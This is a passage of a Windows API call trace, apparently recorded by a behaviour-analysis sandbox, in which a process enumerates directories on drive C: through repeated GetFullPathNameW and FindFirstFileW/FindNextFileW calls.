lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea20) returned 1 [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.189] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\", lpFilePart=0x0) returned 0xc [0080.189] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x1ca2e6c0 | out: lpFindFileData=0x1ca2e6c0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0080.192] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.193] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0080.193] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.194] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0080.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea00) returned 1 [0080.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9f0) returned 1 [0080.194] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0080.194] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0080.194] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0080.194] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0080.194] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0080.194] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0080.194] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0080.195] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe44d1100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe44d1100, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0080.195] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0080.196] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0080.197] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.197] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea20) returned 1 [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0080.198] GetFullPathNameW (in: lpFileName="C:\\Recovery\\", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\", lpFilePart=0x0) returned 0xc [0080.198] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x1ca2e6c0 | out: lpFindFileData=0x1ca2e6c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0080.201] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.201] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 